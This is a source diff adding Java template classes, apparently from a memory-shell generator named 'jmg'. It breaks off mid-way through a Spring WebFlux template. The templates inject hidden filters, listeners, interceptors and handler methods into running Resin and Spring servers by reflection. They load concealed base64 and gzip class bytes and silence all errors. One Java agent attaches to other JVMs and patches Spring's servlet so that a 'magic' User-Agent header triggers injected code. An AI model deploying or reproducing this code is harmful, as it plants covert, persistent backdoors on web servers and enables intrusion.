@@ -0,0 +1,221 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+public class ResinFilterInjectorTpl {
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new ResinFilterInjectorTpl();
+    }
+
+    public ResinFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    private void addFilter(Object context, Object filter) throws Exception {
+        String filterClassName = filter.getClass().getName();
+        if (!isInjected(context, filterClassName)) {
+            try {
+                Class filterMappingClass;
+                try {
+                    filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
+                } catch (Exception e) {
+                    filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
+                }
+                Object filterMappingImpl = filterMappingClass.newInstance();
+                invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
+                invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+                Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
+                invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
+                invokeMethod(urlPattern, "init");
+                invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+                invokeMethod(context, "clearCache");
+            } catch (Throwable e) {
+            }
+        }
+    }
+
+    public List<Object> getContext() {
+        List<Object> contexts = new ArrayList();
+        HashSet<Object> visited = new HashSet();
+
+        try {
+            Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+            for (Thread thread : threads) {
+                Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                if (webApp != null && visited.add(webApp)) {
+                    contexts.add(webApp);
+                }
+            }
+        } catch (Exception e) {
+            // Handle exception
+        }
+        return contexts;
+
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+
+    public String getFilterName(String className) {
+        if (className.contains(".")) {
+            int lastDotIndex = className.lastIndexOf(".");
+            return className.substring(lastDotIndex + 1);
+        } else {
+            return className;
+        }
+
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
+        for (String key : filters.keySet()) {
+            if (key.contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java

@@ -0,0 +1,188 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+public class ResinListenerInjectorTpl {
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new ResinListenerInjectorTpl();
+    }
+
+    public ResinListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                injectListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    private void injectListener(Object context, Object listener) throws Exception {
+        if (!isInjected(context, listener.getClass().getName())) {
+            invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
+            // 清除缓存，否则某些 uri 无法连接
+            invokeMethod(context, "clearCache");
+
+        }
+    }
+
+    public List<Object> getContext() {
+        List<Object> contexts = new ArrayList();
+        HashSet<Object> visited = new HashSet();
+        try {
+            Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+            for (Thread thread : threads) {
+                Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                if (webApp != null && visited.add(webApp)) {
+                    contexts.add(webApp);
+                }
+            }
+        } catch (Exception e) {
+        }
+        return contexts;
+
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
+        for (int i = 0; i < arrayList.size(); i++) {
+            if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java

@@ -0,0 +1,241 @@
+package jmg.core.template;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.IllegalClassFormatException;
+import java.lang.instrument.Instrumentation;
+import java.lang.instrument.UnmodifiableClassException;
+import java.lang.management.ManagementFactory;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.security.ProtectionDomain;
+import java.util.ArrayList;
+import java.util.List;
+
+public class SpringMVCAgentTransformer implements ClassFileTransformer {
+
+    public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
+    public static final String targetMethodName = "service";
+    public String injectHeaderName = "User-Agent";
+
+    public String injectHeaderValue = "magic";
+
+    public String getInjectorCode() {
+        return "";
+    }
+
+    public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
+        instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
+        for (Class clz : instrumentation.getAllLoadedClasses()) {
+            if (!clz.getName().equals(targetClassName)) continue;
+            instrumentation.retransformClasses(clz);
+        }
+    }
+
+    @Override
+    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
+        className = className.replace("/", ".");
+        if (className.equals(targetClassName) && classBeingRedefined != null) {
+            try {
+                ClassPool pool = ClassPool.getDefault();
+                pool.insertClassPath(new ClassClassPath(classBeingRedefined));
+                CtClass ctClass = pool.getCtClass(className);
+                CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
+                String injectorCode = getInjectorCode();
+                String code = String.format("try {\n" +
+                        "        if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
+                        "            String injectorCode = \"%s\";\n" +
+                        "            byte[] byteArray;\n" +
+                        "            try {\n" +
+                        "                Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
+                        "                byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
+                        "            } catch (Throwable e) {\n" +
+                        "                Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
+                        "                Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
+                        "                byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
+                        "            }\n" +
+                        "            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
+                        "            java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
+                        "            method.setAccessible(true);\n" +
+                        "            Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
+                        "            clazz.newInstance();\n" +
+                        "    }\n" +
+                        "    } catch (Exception e) {\n" +
+                        "        e.printStackTrace();\n" +
+                        "    }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
+                ctMethod.insertBefore(code);
+                byte[] bytes = ctClass.toBytecode();
+                ctClass.detach();
+                return bytes;
+            } catch (Exception e) {
+                e.printStackTrace();
+                return new byte[0];
+            }
+        }
+        return new byte[0];
+    }
+
+    private static Class virtualMachineClass;
+    private static Class virtualMachineDescriptorClass;
+    private static List<Object> vms;
+
+    static {
+        try {
+            // 获取 tools.jar 的路径
+            StringBuilder toolsJarPath = new StringBuilder();
+            toolsJarPath.append(System.getProperty("java.home"))
+                    .append(File.separator)
+                    .append("..")
+                    .append(File.separator)
+                    .append("lib")
+                    .append(File.separator)
+                    .append("tools.jar");
+            File toolsJarFile = new File(toolsJarPath.toString());
+
+            // 如果 JDK 目录下没有找到 tools.jar（纯JRE）
+            if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
+                // 释放内置的 tools.jar
+                InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
+                toolsJarFile = File.createTempFile("tools", ".jar");
+
+                FileOutputStream out = null;
+                try {
+                    out = new FileOutputStream(toolsJarFile);
+                    byte[] buffer = new byte[1024];
+                    int bytesRead;
+                    while ((bytesRead = jarStream.read(buffer)) != -1) {
+                        out.write(buffer, 0, bytesRead);
+                    }
+                } finally {
+                    if (out != null) {
+                        out.close();
+                    }
+                }
+            }
+
+            // Load the VirtualMachine and VirtualMachineDescriptor classes
+            URL url = toolsJarFile.toURI().toURL();
+            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
+            virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
+            virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
+            vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    /*
+        参数说明见 TomcatAgentTransformer
+     */
+    public static void main(String[] args) throws Exception {
+        if (args.length == 0) {
+            listAllJvmPids();
+        }
+        else if (args.length == 1) {
+            String arg = args[0];
+            if (arg.equalsIgnoreCase("all")) {
+                for (String jvmProcessId : getAllJvmPids()) {
+                    attachAgentToTargetJvm(jvmProcessId);
+                }
+            }
+            else {
+                try {
+                    Integer.parseInt(arg);
+                    attachAgentToTargetJvm(arg);
+                }
+                catch (NumberFormatException e) {
+                    for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
+                        attachAgentToTargetJvm(jvmProcessId);
+                    }
+                }
+            }
+        } else {
+            throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
+        }
+    }
+
+    public static List<String> getAllJvmPids() throws Exception {
+        List<String> pids = new ArrayList<>();
+        for (Object vm : vms) {
+            Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+            String id = (String) getId.invoke(vm);
+            pids.add(id);
+        }
+        return pids;
+    }
+
+    public static void listAllJvmPids() throws Exception {
+        for (Object vm : vms) {
+            Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
+            String displayName = (String) displayNameMethod.invoke(vm);
+            Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+            String id = (String) getId.invoke(vm);
+            infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
+        }
+    }
+
+    public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
+        List<String> pids = new ArrayList<>();
+        for (Object vm : vms) {
+            Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
+            String currentDisplayName = (String) displayNameMethod.invoke(vm);
+            System.out.println(currentDisplayName);
+            System.out.println(displayName);
+            System.out.println();
+            if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
+                Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+                String id = (String) getId.invoke(vm);
+                pids.add(id);
+            }
+        }
+        return pids;
+    }
+
+    private static void attachAgentToTargetJvm(String targetPID) throws Exception {
+        String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
+        infoLog("Current agent path: " + agentFilePath);
+        File agentFile = new File(agentFilePath);
+        String currentPid = getCurrentPID();
+        if (targetPID.equals(currentPid)) {
+            infoLog("Skipping attaching to self");
+        } else {
+            try {
+                infoLog("Attaching to target JVM with PID: " + targetPID);
+                Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
+                Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
+                loadAgent.invoke(jvm, agentFile.getAbsolutePath());
+                Method detach = virtualMachineClass.getDeclaredMethod("detach");
+                detach.invoke(jvm);
+                successLog("Attached to target JVM and loaded agent successfully");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static String getCurrentPID() {
+        return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
+    }
+
+    public static void infoLog(String message) {
+        System.out.println("[*] " + message);
+    }
+
+    public static void failLog(String message) {
+        System.out.println("[-] " + message);
+    }
+
+    public static void successLog(String message) {
+        System.out.println("[+] " + message);
+    }
+
+}

jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java

@@ -0,0 +1,183 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.LinkedHashSet;
+import java.util.zip.GZIPInputStream;
+
+public class SpringMVCInterceptorInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+
+    public SpringMVCInterceptorInjectorTpl() throws Exception {
+        Object context = getContext();
+        Object interceptor = getInterceptor();
+        addInterceptor(context, interceptor);
+
+    }
+
+    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object context = null;
+        try {
+            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
+            Object httprequest = invokeMethod(requestAttributes, "getRequest");
+            Object session = invokeMethod(httprequest, "getSession");
+            Object servletContext = invokeMethod(session, "getServletContext");
+            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
+        } catch (Exception e) {
+        }
+
+        if (context == null) {
+            try {
+                LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
+                Object applicationContext = applicationContexts.iterator().next();
+                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
+                    context = applicationContext;
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return context;
+    }
+
+    private Object getInterceptor() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                interceptor = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return interceptor;
+    }
+
+    public void addInterceptor(Object context, Object interceptor) {
+        try {
+            Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
+            ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
+            adaptedInterceptors.add(interceptor);
+        } catch (Exception ignored) {
+        }
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    synchronized void setFV(Object var0, String var1, Object val) throws Exception {
+        getF(var0, var1).set(var0, val);
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java

@@ -0,0 +1,185 @@
+package jmg.core.template;
+
+import org.springframework.web.reactive.result.method.RequestMappingInfo;
+import org.springframework.web.server.ServerWebExchange;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.zip.GZIPInputStream;
+
+/**
+ *  spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
+ */
+public class SpringWebFluxHandlerMethodInjectorTpl {
+
+
+    public String getUrlPattern() {
+        return "";
+    }
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    public SpringWebFluxHandlerMethodInjectorTpl() {
+        try {
+            Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
+            Object handlerMethod = getHandlerMethod();
+            addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
+        } catch (Exception ignored) {
+        }
+    }
+
+    private Object getRequestMappingHandlerMapping() throws Exception {
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object requestMappingHandlerMapping = null;
+        for (int i = 0; i < threads.length; i++) {
+            try {
+                Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
+                Object[] objects = handlerMappings.toArray();
+                boolean flag = false;
+                for (int j = 0; j < objects.length; j++) {
+                    if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
+                        requestMappingHandlerMapping = objects[j];
+                        flag = true;
+                    }
+                }
+                if (flag) {
+                    return requestMappingHandlerMapping;
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return requestMappingHandlerMapping;
+    }
+
+    public void addHandlerMethod(Object obj, Object handler) {
+        try {
+            Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
+            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
+            invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
+        } catch (Exception ignored) {
+        }
+    }
+
+    private Object getHandlerMethod() {
+        Object handler = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            handler = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                handler = clazz.newInstance();
+            } catch (Exception ignored) {
+            }
+
+        }
+        return handler;
+    }
+
+
